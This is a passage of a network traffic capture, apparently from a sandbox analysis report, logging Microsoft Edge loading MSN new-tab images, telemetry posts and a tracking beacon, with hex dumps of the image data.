2024-11-18 12:29:32 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=229558 Expires: Thu, 21 Nov 2024 04:15:30 GMT Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49807	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=219629 Expires: Thu, 21 Nov 2024 01:30:01 GMT Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49804	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=45449 Expires: Tue, 19 Nov 2024 01:07:01 GMT Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49808	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=391121 Expires: Sat, 23 Nov 2024 01:08:13 GMT Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49805	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=156353 Expires: Wed, 20 Nov 2024 07:55:25 GMT Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49800	40.79.173.41	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731932970275&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3808 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
2024-11-18 12:29:32 UTC	3808	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 32 3a 32 39 3a 33 30 2e 32 37 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 30 38 63 33 39 37 39 2d 33 65 35 35 2d 34 63 38 62 2d 61 30 36 62 2d 63 31 37 34 64 31 63 38 36 30 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 33 35 32 39 35 38 31 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-18T12:29:30.271Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"008c3979-3e55-4c8b-a06b-c174d1c860be","epoch":"3352958142"},"app":{"locale
2024-11-18 12:29:33 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c29d6fad39234df0be07d4f7bd7418c7&HASH=c29d&LV=202411&V=4&LU=1731932972889; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 12:29:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=118cc68994174589ab6201932a4bb1ca; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 12:59:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2614 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49810	3.170.115.43	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	1012	OUT	GET /b2?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=12B5719cfe084fd78f8d0f11731932972; XID=12B5719cfe084fd78f8d0f11731932972
2024-11-18 12:29:33 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 18 Nov 2024 12:29:33 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 0bacdc248e3d6b1315e023be242c60fa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: k4s90JSh-BgbFnJe_WDmSHcpZiDvA3MnzczARUzOuEbp4Oh2sfTE3A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49813	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:33 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:33 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ4 Last-Modified: Fri, 15 Nov 2024 17:27:26 GMT X-Source-Length: 49906 X-Datacenter: westus X-ActivityId: bf4eb62b-8082-4d93-9edd-7f40258bdb04 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 49906 Cache-Control: public, max-age=190713 Expires: Wed, 20 Nov 2024 17:28:06 GMT Date: Mon, 18 Nov 2024 12:29:33 GMT Connection: close
2024-11-18 12:29:33 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: e6 4b 4f 82 d8 58 56 bc ba 96 da 13 be 3b 7f 69 bc ad c9 ad 4b ce 97 ad 23 5c 27 e4 c4 66 d1 9e f5 42 72 49 a4 f6 ef fc 2c 85 8e f7 6a fc da b3 46 92 4a fd 7b 17 e2 63 29 f4 4c cf 83 73 11 f5 35 d1 05 d5 7b 12 7f 62 dc a2 aa a3 7d bf 92 3c f9 65 d1 51 ef 7b 24 b8 9a c2 d3 b9 ee fa 2e 8b b7 bf c8 4d 7b 64 8b 46 71 11 e3 dc e9 9c e7 2e 3b 2f 5e e3 06 ee e4 ba f5 7e 5f 80 d4 f5 cd 47 8c b8 d3 ee ef 13 8e 95 2a 7b 3d ff 00 82 33 11 86 a6 79 f1 61 37 d0 f3 f2 2a e0 75 bd db 31 96 36 d7 96 e9 76 f7 1e 8a ee 78 f5 3f 73 92 ae 0e 5f cc fe 4b f8 98 e9 6b 75 b5 70 3a 17 fa 31 7d ce 51 7e 4f 89 15 6a d7 53 b4 3c 53 19 c7 84 4b 3c 79 5e 39 79 75 5f 8a 3a 30 7a 79 a7 2e 0b ed dc 71 c9 51 d9 c9 34 b2 ef d6 2f f3 25 a3 74 cf 72 69 4c ed d2 b3 3b b6 9e 84 d2 c7 08 c7 f9 Data Ascii: KOXV;iK#\'fBrI,jFJ{c)Ls5{b}<eQ{$.M{dFq.;/^~_G{=3ya7u16vx?s_Kkup:1}Q~OjS<SK<y^9yu_:0zy.qQ4/%triL;
2024-11-18 12:29:33 UTC	1369	IN	Data Raw: d6 77 71 b4 77 e7 93 eb b6 52 d9 25 1e 3f 92 66 3c c4 5c 96 fd cf e1 e4 79 98 bc 5f 97 c9 5e f1 4b 13 ea eb 52 7e d5 bf c8 f5 71 57 3b 93 1c 31 35 97 54 b7 71 7f 44 3a fc b8 1c 76 66 bc 63 18 e3 2f a5 e7 e9 6a d6 62 96 8b 67 84 70 9f 87 14 47 0f bd 8f fb 29 46 4d fd 3b 2e 1f c0 f1 79 99 2c 79 30 e6 c1 e8 e4 8f d6 9f 18 ce 0f 83 8f 73 5c 7a 33 db e7 32 c3 97 c9 cb 63 c7 6f 0e 39 ea c9 29 35 aa 79 1b de 6e ba 35 55 dc 8f 17 9c 83 fe a6 73 86 ce 94 f6 f6 7a 5e 7d f6 75 d2 df 3b f8 4c 4e 3f bb c3 d5 4f ec 98 88 fd d5 b5 62 7b 62 78 e6 be 0f b4 e5 1a 78 b1 ce 51 8d 7b b9 39 c6 5b a5 ef 6a 55 f1 e0 78 f9 21 85 63 c8 b4 a7 06 ee f7 ae 1c 17 de 91 de e6 eb 04 21 e9 2c 91 8b ba d3 ad b8 a7 6d 2e 09 70 f2 39 25 e9 38 e3 6d 25 6e a3 d3 6e bc 38 d5 33 c9 58 c5 a6 73 Data Ascii: wqwR%?f<\y_^KR~qW;15TqD:vfc/jbgpG)FM;.y,y0s\z32co9)5yn5Usz^}u;LN?Ob{bxxQ{9[jUx!c!,m.p9%8m%nn83Xs
2024-11-18 12:29:33 UTC	16288	IN	Data Raw: 6f ef f9 1f aa bc 06 12 e5 97 71 ed d3 f5 4d 6a 71 9c f8 bc b7 e8 74 2f f4 c4 78 6e 7e 45 3e 43 3c 3a 59 c9 3c 39 23 c6 32 5e cf c8 fd 7a 5c 94 5f 43 8e 7e 1d 17 d0 f7 d3 d5 e3 ea af bd e3 bf a5 d3 e9 b5 a3 de fc 9e 86 7e 8b 93 c2 61 2f d2 8f 2f 27 82 43 a2 6b b0 f7 53 d4 ba 7b 73 98 78 ed e9 ba d1 c2 6b 6f 73 e3 80 fa 0c 9e 0f 92 3f 4b f8 a3 cf 9f 87 f3 10 fd 37 d9 fc 4f 5d 7a 8d 1b f0 bd 7e 2f 25 fa 6d 7a 71 d3 b7 cb 7b cf 03 69 61 cb 1e 30 92 f6 18 9d e2 62 78 3c f3 13 5e 31 80 22 84 30 84 22 80 09 01 80 52 00 02 00 00 60 20 00 08 00 00 a8 05 43 02 89 a1 51 60 13 0c 9a 15 1a 88 33 86 54 49 a8 a8 a9 86 65 46 53 83 b8 c9 c5 f7 a7 4f e4 3a 15 03 83 a9 f3 99 e4 aa 53 73 5f ee e3 f1 3d 7e 5b c4 71 2b 59 b5 2f f0 e5 8d 4b ea a8 c9 56 9f 25 e6 b7 3e 74 44 98 Data Ascii: oqMjqt/xn~E>C<:Y<9#2^z\_C~~a//'CkS{sxkos?K7O]z~/%mzq{ia0bx<^1"0"R` CQ`3TIeFSO:Ss_=~[q+Y/KV%>tD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49814	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
